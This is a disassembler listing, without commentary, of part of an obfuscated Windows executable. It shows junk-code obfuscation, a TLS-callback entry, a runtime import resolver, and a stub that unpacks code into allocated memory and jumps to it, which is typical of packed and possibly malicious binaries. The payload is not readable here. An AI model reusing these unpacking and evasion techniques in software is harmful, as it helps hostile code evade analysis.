		sub	ecx, 0B009E5B3h
		xor	ecx, 46941502h
		jmp	loc_48A13F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48C80F:				; CODE XREF: sub_48AD01-2AE2j
		mov	[esi], eax
		pop	esi
		mov	dword ptr [ebp-18h], 74726956h
		mov	dword ptr [ebp-14h], 516C6175h
		call	loc_489D7B

loc_48C825:				; CODE XREF: dy9cvewz:loc_48C2F6j
		add	byte ptr ds:loc_48948D[edx], bh
		jmp	loc_487827
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		dd 0DE810000h, 0D87746EFh, 0FFBDA0E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C83F:				; CODE XREF: dy9cvewz:loc_489A65j
		jnz	locret_48C84C
		jmp	loc_48C444
; ---------------------------------------------------------------------------
		align 4

locret_48C84C:				; CODE XREF: dy9cvewz:loc_48C83Fj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_48C84D	proc near		; CODE XREF: sub_489481-2024j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004874A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489302 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048A736 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AAC0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0048CA57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048CAC7 SIZE 0000000F BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_489302
sub_48C84D	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_48C857:				; CODE XREF: dy9cvewz:0048A26Fj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA84

loc_48C85A:				; CODE XREF: sub_48BA84-224Aj
		jmp	loc_48A4D3
; END OF FUNCTION CHUNK	FOR sub_48BA84
; ---------------------------------------------------------------------------
		align 10h
dword_48C860	dd 87F28B56h, 8ABA2434h, 0E9004879h, 0FFFFB6A8h
					; DATA XREF: dy9cvewz:0048A26Ao
		db 0
; ---------------------------------------------------------------------------

loc_48C871:				; DATA XREF: sub_48789B:loc_48914Fo
		mov	byte ptr [ebx],	87h
		push	48C2EEh
		jmp	locret_48B030
; ---------------------------------------------------------------------------

loc_48C87E:				; CODE XREF: dy9cvewz:0048A5E5j
		sbb	esi, 0C2570442h
		add	edi, ebp

loc_48C886:				; CODE XREF: dy9cvewz:0048A5D6j
		or	ebx, 0CEAE1C8Ah
		xor	ebx, 0A30F6484h
		add	esi, ebx
		pop	ebx
		push	488BF1h
		jmp	locret_48C776
; ---------------------------------------------------------------------------
		db 81h
		dd 3B071CDDh, 1EE9C1E5h, 0FFC444E9h, 1C8700FFh,	243C8724h
		dd 9C5FDF8Bh, 0F4878A68h, 241C87B7h, 0FFF420E9h, 0C300FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48CA79

loc_48C8C8:				; CODE XREF: sub_48CA79:loc_48CA87j
		pop	eax
		add	eax, 19DF9168h
		or	eax, 89F875C1h
		add	eax, 0C4CD04ECh
		xor	eax, 81819327h
		add	eax, 1F03D452h
		jmp	loc_48C01C
; END OF FUNCTION CHUNK	FOR sub_48CA79
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48C8EE	proc near		; CODE XREF: dy9cvewz:00489563p

; FUNCTION CHUNK AT 0048813C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004888EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048CA64 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_4888EC
sub_48C8EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFF518E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48C8FF:				; CODE XREF: sub_48BB9F:loc_48A3D5j
					; dy9cvewz:0048BA71j
		lodsb
		jmp	loc_4887BC
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_430. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
word_48C90A	dw 0C781h		; DATA XREF: sub_489688+1B59o
		dd 670A2B4Eh, 8B5F0789h, 8AFC45h, 0FFD56DE9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_48C91D:				; CODE XREF: dy9cvewz:00489431j
		retn
; ---------------------------------------------------------------------------
		dw 21E9h
; ---------------------------------------------------------------------------
		sar	bh, 0FFh
		add	bl, al

loc_48C925:				; CODE XREF: dy9cvewz:00487B93j
		jmp	sub_488FD4
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48C92B	proc near		; CODE XREF: dy9cvewz:00489B06p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0048C72C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		pop	ecx
		call	sub_489CE3
		xchg	ecx, [esp-8+arg_4]
		pop	ecx
		push	edi
		mov	edi, offset loc_48925C

loc_48C944:				; CODE XREF: dy9cvewz:loc_488883j
		jmp	loc_48C72C
sub_48C92B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 128Bh
		dd 0FFADEBE8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48C952:				; CODE XREF: sub_48BB9F-2683j
		jmp	loc_488847
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------

loc_48C957:				; CODE XREF: dy9cvewz:loc_489445j
		or	edx, 0EAEF6347h
		add	edx, 1494985h
		xchg	edx, [esp]
		jmp	near ptr loc_48803A+1
; ---------------------------------------------------------------------------
		align 4
byte_48C96C	db 0C6h			; DATA XREF: dy9cvewz:0048C7CFo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BD2A

loc_48C96D:				; CODE XREF: sub_48BD2A+Dj
		jmp	sub_488FD4
; END OF FUNCTION CHUNK	FOR sub_48BD2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48C972:				; CODE XREF: sub_48B3BA-48Ej
		jmp	loc_48CB2D
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		align 4
		dd 0B06AE800h, 860FFFFFh, 0FFFFEEE7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48C984:				; CODE XREF: sub_48AD01:loc_48AB87j
		add	edi, 405AE997h

loc_48C98A:				; DATA XREF: dy9cvewz:00487A81o
		sbb	bh, [esp-10h+arg_C]
		jmp	loc_489D37
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		dw 36E8h
		dd 0FFFFF5h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48C999:				; CODE XREF: sub_48899B+7AEj
		jmp	loc_48BEB2
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 10h

loc_48C9A0:				; CODE XREF: dy9cvewz:004873B6j
		jmp	loc_4879C1
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Bh
; ---------------------------------------------------------------------------
		mov	eax, esi
		jmp	loc_488DC2
; ---------------------------------------------------------------------------

loc_48C9AF:				; CODE XREF: dy9cvewz:0048C796j
		jb	loc_488C1D
		popf

loc_48C9B6:				; CODE XREF: dy9cvewz:loc_48BF06j
		and	ecx, 1326933h
		or	ecx, 9CAD32CBh
		push	ebx
		jmp	loc_48AEC3
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48C9C9:				; CODE XREF: dy9cvewz:0048C67Ej
		jnp	loc_48AF81
		xchg	ebx, [esp]
		xchg	eax, [esp]
		mov	ebx, eax
		pop	eax
		jmp	near ptr dword_488240+24h
; ---------------------------------------------------------------------------
		align 2
		dw 6AE8h
		dd 51FFFFFEh, 0D800FC68h, 0C9815933h, 771BF4FBh, 0D4FFC181h
		dd 0CF8886Ch, 0B20CE924h, 0E952FFFFh, 0FFFFA9CAh
dword_48CA04	dd 11775868h, 0F3815B31h, 0D129EAC7h, 0B70CC381h, 0EB813373h
					; DATA XREF: dy9cvewz:loc_48A1CAo
		dd 0EACF667Bh, 0BD38CB81h, 5DE925AFh, 0FFFFFAh,	0B8820F00h
		dd 0E9FFFFCCh, 0FFFFE2A1h, 810F0000h, 0FFFFD462h, 0FFF681E9h
		dd 810000FFh, 3357DFD0h, 0F258E993h, 0FFFFh, 100002C7h
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_48CA57:				; CODE XREF: sub_48C84D+284j
		jmp	nullsub_535
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		dd 95E90000h, 0FFFFBFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C8EE

loc_48CA64:				; CODE XREF: sub_48C8EE-47ADj
		jmp	nullsub_563
; END OF FUNCTION CHUNK	FOR sub_48C8EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_564. PRESS KEYPAD	"+" TO EXPAND]
		dw 0D485h
		dd 68FFFFEDh, 48A41Dh, 0FFE585E9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_48CA79	proc near		; CODE XREF: sub_48AE73:loc_4877BCp
					; dy9cvewz:00487DF2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048C8C8 SIZE 00000024 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		push	ecx
		pop	esi
		xchg	esi, [esp+0]
		call	sub_48AD01

loc_48CA87:				; CODE XREF: dy9cvewz:0048AB06j
		jmp	loc_48C8C8
sub_48CA79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0E1E90000h, 0FFFFCCh
		db 0
; ---------------------------------------------------------------------------

loc_48CA95:				; CODE XREF: dy9cvewz:00488D56j
		jmp	near ptr dword_487864+1Ah
; ---------------------------------------------------------------------------
		align 4
		jmp	sub_488FD4
; ---------------------------------------------------------------------------
		db 68h,	82h, 0ABh
		dd 72E976ABh, 0FFFFC8h,	49830F00h
		db 0F7h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_48CAB3	proc near		; CODE XREF: dy9cvewz:loc_48A315p
		xchg	esi, [esp+0]
		pop	esi
		add	edi, 42997557h
		push	489C8Ch
		jmp	loc_48C0B0
sub_48CAB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_48CAC7:				; CODE XREF: sub_48C84D:loc_48A736j
		mov	byte ptr [edi],	0C1h
		pop	edi
		lodsb
		push	offset loc_488A2B
		jmp	loc_48CA57
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_530. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48CADA:				; DATA XREF: sub_48A611:loc_48C419o
		mov	ebp, esp
		jno	loc_488C2C
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	48B1EFh
		jmp	loc_48A5DC
; ---------------------------------------------------------------------------
		align 4
		dd 815FC703h, 10C25EC0h, 0B473E878h
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================



sub_48CB03	proc near		; DATA XREF: dy9cvewz:loc_4888C4o

var_3C		= dword	ptr -3Ch

; FUNCTION CHUNK AT 0048B1BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C0AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048C733 SIZE 00000010 BYTES

		add	esp, 0FFFFFFC8h
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+3Ch+var_3C]
		call	sub_489D5C
		jmp	loc_48C0AA
sub_48CB03	endp

; ---------------------------------------------------------------------------
		align 4
		xor	edx, 0F6F6D791h

; =============== S U B	R O U T	I N E =======================================



sub_48CB1E	proc near		; CODE XREF: sub_48B8DE-2163p
		xchg	edx, [esp+0]
		pop	edx
		push	offset loc_487B07
		jmp	nullsub_443
sub_48CB1E	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48CB2D:				; CODE XREF: sub_48B3BA:loc_48C972j
		and	eax, 71BE1E6Ah
		add	esi, 0BCFA17C8h
		xor	eax, ecx
		jmp	loc_4890E8
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		dd 8C0F0000h, 0FFFFB26Ah, 3ADBE081h, 0E8817531h, 0C8A4FACh
		dd 48ADCE68h, 0C165E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48CB5E:				; CODE XREF: sub_48AAB3:loc_48B886j
		pop	edi
		push	edx
		call	sub_48987C

loc_48CB65:				; CODE XREF: dy9cvewz:00489BF6j
		jmp	loc_48A836
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48CB6C	proc near		; CODE XREF: dy9cvewz:00487DB3p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0048CCC3 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_438000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax

loc_48CB84:				; CODE XREF: sub_48CB6C+15Dj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_48CC1C
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_45B0B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_48CBB1
		push	ebx
		call	ds:dword_45B0B8	; LoadLibraryA
		or	eax, eax
		jz	loc_48CC14

loc_48CBB1:				; CODE XREF: sub_48CB6C+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]

loc_48CBB9:				; CODE XREF: sub_48CB6C+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_48CBC9
		mov	eax, [esi+10h]

loc_48CBC9:				; CODE XREF: sub_48CB6C+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_48CCC3
		test	ebx, 80000000h
		jnz	loc_48CBF0
		lea	ebx, [ebx+edx+2]

loc_48CBF0:				; CODE XREF: sub_48CB6C+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_45B0BC	; GetProcAddress
		or	eax, eax
		jz	loc_48CC14
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_48CBB9
; ---------------------------------------------------------------------------
		align 4

loc_48CC14:				; CODE XREF: sub_48CB6C+3Fj
					; sub_48CB6C+96j
		push	ebx
		mov	eax, ebx
		call	sub_48CC25

loc_48CC1C:				; CODE XREF: sub_48CB6C+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_48CB6C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48CC25	proc near		; CODE XREF: sub_48CB6C+ABp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh

loc_48CC5C:				; CODE XREF: sub_48CC25+98j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_48CC9C
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_45B104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_45B0C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4

loc_48CC9C:				; CODE XREF: sub_48CC25+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_48CC5C
sub_48CC25	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48CB6C

loc_48CCC3:				; CODE XREF: sub_48CB6C+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_48CB84
; END OF FUNCTION CHUNK	FOR sub_48CB6C
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48CCCF	proc near		; CODE XREF: sub_487CB5:loc_48B8EFp
					; startp ...
		mov	eax, offset sub_48739A

locret_48CCD4:				; DATA XREF: sub_48CCD5+8o
		retn
sub_48CCCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_48CCD5	proc near		; DATA XREF: dy9cvewz:00487FB0o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_48CCD4
		mov	eax, 45D6h
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_45B0C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset sub_48739A
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_487216
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 45B0C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_48CD8A
		mov	ebx, eax
		call	loc_48CDEB
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_48CD8A
		push	ebx
		mov	ebx, ecx

loc_48CD55:				; CODE XREF: sub_48CCD5+91j
					; sub_48CCD5+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_48CD68
		and	eax, 0FFh
		jmp	short loc_48CD55
; ---------------------------------------------------------------------------

loc_48CD68:				; CODE XREF: sub_48CCD5+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_48CD7B
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_48CD55
; ---------------------------------------------------------------------------

loc_48CD7B:				; CODE XREF: sub_48CCD5+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_48CD55
		pop	eax

loc_48CD8A:				; CODE XREF: sub_48CCD5+6Dj
					; sub_48CCD5+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_48CCD5	endp

; ---------------------------------------------------------------------------
		db 89h
		dd 380F02BCh, 636DCD95h, 492313C4h, 9A0A67Eh, 25083A7Dh
		dd 10366502h, 86907E06h, 282163Fh, 3B152BC7h, 0C8308113h
		dd 4BD99CACh, 335E0589h, 1CFD5D1Eh, 0B086529Ch,	0D912F906h
		dd 88134E94h
		db 66h,	1Eh, 79h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_48CCCF
		add	eax, 30B4h
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: dy9cvewz:TlsCallbackso
		call	sub_48CCCF
		add	eax, 94h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------

loc_48CDEB:				; CODE XREF: sub_48CCD5+71p
		call	sub_48CDF4
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh

; =============== S U B	R O U T	I N E =======================================



sub_48CDF4	proc near		; CODE XREF: dy9cvewz:loc_48CDEBp
		pop	esi
		retn
sub_48CDF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 200h
		dd 9DCC719h, 4A52545h, 80h dup(0)
dy9cvewz	ends

; Section 8. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	40000080: Bss Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read
uyr766ie	segment	para public 'BSS' use32
		assume cs:uyr766ie
		;org 48D000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0E6346849h, 8578DDD8h, 32A1B45Dh, 6628B11Bh,	31C380FAh
		dd 0A6F33327h, 6781885Ah, 0F9DB34E0h, 128F2D71h, 4268B42Dh
		dd 0F0D6BB66h, 7C100F29h, 5ABDFECDh, 0A64A030Ah, 4D35EF8Ch
		dd 0FBE2F9BFh, 6F2A1D7Ah, 7E006884h, 0D837D514h, 4364C7BAh
		dd 0E07491E6h, 38F173F1h, 9EF1FE43h, 0F044CC28h, 26EB4878h
		dd 1388175Ch, 0E7EC1774h, 457E5784h, 12F23CF5h,	0E08F52A2h
		dd 0CCDDBA22h, 10247308h, 4466A357h, 8E199BEDh,	5CE86BA8h
		dd 0B9797D01h, 29D63B1Ah, 41ADCBEAh, 58116BAEh,	0A7D55BB5h
		dd 42BCFB9Ch, 8B896B72h, 0E708D130h, 0C5546E0Ch, 8CB6E14Eh
		dd 345A638Dh, 2C6582D8h, 5B01BA14h, 878F87A9h, 42F32C03h
		dd 0F93CC17Bh, 0ABB73B84h, 38AC5C40h, 11E8795Bh, 8DC695B0h
		dd 9AE790C3h, 2A47BEC6h, 0ADEAD12Eh, 2D8B7DD8h,	0FAD0FFC6h
		dd 63BE6CFDh, 9366CC79h, 2EE72C30h, 0A94148C6h,	0F7CC6137h
		dd 0E366FD56h, 0ADC8D92Ch, 0FC3A1BB3h, 62DBC98h, 0A3EC7CA1h
		dd 3300EE9Ah, 1AFCDF3Bh, 0E6B3B1A7h, 0F6CF01A6h, 4160EC20h
		dd 0EF04A994h, 3E88C3E1h, 401B8CC9h, 6887CA45h,	9C17AA73h
		dd 77F7F2BAh, 0FB6BCAB9h, 0D1C99766h, 2EA850BCh, 0FDA0A89Fh
		dd 425955D5h, 28127FC9h, 0E616D679h, 5A183907h,	89B66F65h
		dd 8EBEF87Ch, 405AE9EBh, 50A63538h, 2560F692h, 407856FDh
		dd 902E42Bh, 4851F862h,	98E5ECh, 20DCA959h, 962F7FA5h
		dd 53AD51h, 8A3CF830h, 0BA4244h, 34CF2AEBh, 771214F0h
		dd 0DFCB29FEh, 43ABE9ADh, 8B39ECB1h, 0DBC02FDCh, 1664EDBh
		dd 3435EA72h, 3CEBFC44h, 0C659890Ah, 46FB5B8Ah,	953BE7A3h
		dd 3B29AB90h, 73977E1Fh, 52DBBA6Ch, 393DE3EBh, 0C369FAE2h
		dd 0CAC1FB13h, 97467DA1h, 0DF0B3821h, 0B6935EB9h, 0A8F11CF9h
		dd 0DB23813Bh, 48AAACD2h, 93288792h, 72E323E4h,	4B8E3577h
		dd 1C43CCF3h, 0F7E6F05Ah, 90BF98DAh, 0EBFC728Eh, 1F95CAC2h
		dd 1930BE30h, 9073F2B3h, 1925DC4h, 0C7AF0CE9h, 88339ED9h
		dd 5901B664h, 0A4282288h, 74B8BCBCh, 0AA545647h, 0B80AD17Bh
		dd 0E774C52Dh, 33065270h, 0FD378083h, 0EEEF35BBh, 3087D5D6h
		dd 0DB8EBCD5h, 0B0088C63h, 0E6ED5B80h, 0B2AD1E49h, 0CF6AAC0Fh
		dd 969F405h, 0E37E5ADCh, 0D5DD182Fh, 0FA534DD9h, 1E3723C1h
		dd 44E13B68h, 99F26CB5h, 825D8AB7h, 3EDF6043h, 8A21D9C2h
		dd 0FF526EB4h, 0B44FC3ECh, 0D93FCE31h, 53A51466h, 3BBF8072h
		dd 9042D486h, 7658DF2Fh, 91E0BF72h, 0DFF9764Eh,	8770EE19h
		dd 3AFA59DCh, 0B5407633h, 83A1CBFBh, 0B23AB114h, 7FEE8EB8h
		dd 0BE8FE45Dh, 0E808AA42h, 140A105Fh, 70C9C435h, 2D25D7E4h
		dd 0E8A5B56Fh, 0FD193AECh, 97D94994h, 0BC715CD9h, 8E60B458h
		dd 39399EE8h, 7F72768Eh, 0D8F2BF92h, 7F5C652h, 0FD9C4D49h
		dd 0FDDA987Ah, 0CAF533EDh, 9F29AF4Eh, 0F713F0DBh, 0EAC487F0h
		dd 4E628FC5h, 40ECB3Dh,	5648C1Bh, 9A9E0F6Dh, 0BA585886h
		dd 77DAE4B8h, 4E08E84Eh, 2754F8B4h, 50D302B4h, 867E3E17h
		dd 76BD6533h, 990410E8h, 4B00E2Eh, 3E09AC4Fh, 0D37B22D5h
		dd 58A3CAB3h, 3EEE43A5h, 0FC328100h, 0D0BF5F47h, 0BEBD1C71h
		dd 0DC9CBB04h, 80BF777Bh, 0F7D9B869h, 4E45D27Bh, 2AED8D4Fh
		dd 0EB454750h, 207EBA3Eh, 352C8626h, 521A54E6h,	4678128Dh
		dd 0E96827FDh, 1E588356h, 4CAF23A7h, 0BF0A8E2Eh, 0EB29A374h
		dd 7E83FDF8h, 466FBA3h,	0CA02EF1Ah, 1ADF866Ah, 289F3D63h
		dd 0D850D315h, 0A7F12C76h, 0F8A60836h, 0E0A9D543h, 0E963F1F2h
		dd 8B952083h, 0E80C2609h, 0D0DF9416h, 468E4A31h, 8D160413h
		dd 9D9BFFE6h, 53239E84h, 17FA21A3h, 42FE7815h, 16F2E541h
		dd 0F06AFF7Bh, 0F7A24F21h, 0F1316D7Dh, 2F0FAC24h, 0A5F662E8h
		dd 7FEF5939h, 716EEF30h, 768A6B46h, 25C4C78Dh, 3BC16397h
		dd 55BDE713h, 3DADC4C6h, 0DA60E0A4h, 4273211Ch,	0CE635C2Fh
		dd 6AD28515h, 695A2528h, 0DD23A526h, 0BA276225h, 51558D53h
		dd 89F51AE2h, 0CE535F04h, 69224E75h, 0F4D69DC2h, 0C9771D7Eh
		dd 0C8C48B8h, 11DA7EC8h, 0A6EC8193h, 1D6244ECh,	0EB58852h
		dd 0E03D9B5Ah, 6E5C283Dh, 69C94CBFh, 9E96AD2Ch,	0C41308D2h
		dd 360C8056h, 0E8754DF0h, 7CAE7349h, 74EC4881h,	24195A08h
		dd 2E795742h, 0A50DE688h, 24562720h, 6F7B4B8h, 51CB3067h
		dd 0E93E1C08h, 4F420953h, 0A912D2A8h, 63F25442h, 0D8D80485h
		dd 8AA22BC0h, 7EFB84FDh, 34AFB558h, 296AB1CFh, 15E407E9h
		dd 3725FFE1h, 33D78AE9h, 104DD5F4h, 0DD67DC90h,	930CB393h
		dd 86EE6A10h, 0BFF3DB28h, 0CB3B4212h, 1A65EE1Dh, 0DA232D7h
		dd 2244380Dh, 0B8D5E04Bh, 7C4A94CFh, 3408FEC3h,	769ADEE2h
		dd 9BE268D9h, 8C0FF3C3h, 0AED7E028h, 0BBE1D0FCh, 46B08774h
		dd 8980E7AEh, 624D528Eh, 0B4624563h, 4EEBCBCCh,	0E121C5B3h
		dd 0F0B69376h, 0D3F08C4Eh, 0AFE3170h, 0E98E73Ah, 9DBC6E16h
		dd 6D8CDEA5h, 58EBEE50h, 736AE975h, 0B5B2F1E6h,	0D6FA0085h
		dd 0AD75519Fh, 8D3E18E2h, 0DA8B6683h, 9374D7C3h, 0C45852EFh
		dd 580FB5C4h, 0AF8BE23Ch, 8DD48746h, 6EE2245Ch,	9C87A055h
		dd 0D1A696Eh, 0AC423A79h, 1036A957h, 6C09A91Fh,	46659764h
		dd 0E9D5FEC4h, 0BCC680E9h, 0FBE79393h, 2D169BF7h, 186C10F3h
		dd 89D06694h, 15308669h, 0E6DF102h, 69B02407h, 48694AC2h
		dd 0EED00A1Ch, 7F351C65h, 800EC8ECh, 0ACD33FAEh, 6725EADCh
		dd 0A5B5340h, 0A7A99407h, 0F5351C05h, 0FEF9D3CCh, 45B4FDC2h
		dd 436491D6h, 409AAE24h, 0DDB8E72Ah, 5E742901h,	807941B6h
		dd 375EF175h, 0E9BA568h, 453424C4h, 0EB4052B9h,	89ACAA04h
		dd 0A9529BB2h, 996050CEh, 3B719B03h, 0CEEE2C3Fh, 4F9926F2h
		dd 45DC99EBh, 796B0AF3h, 5E787DB0h, 39FB5FC5h, 0B5920B8Dh
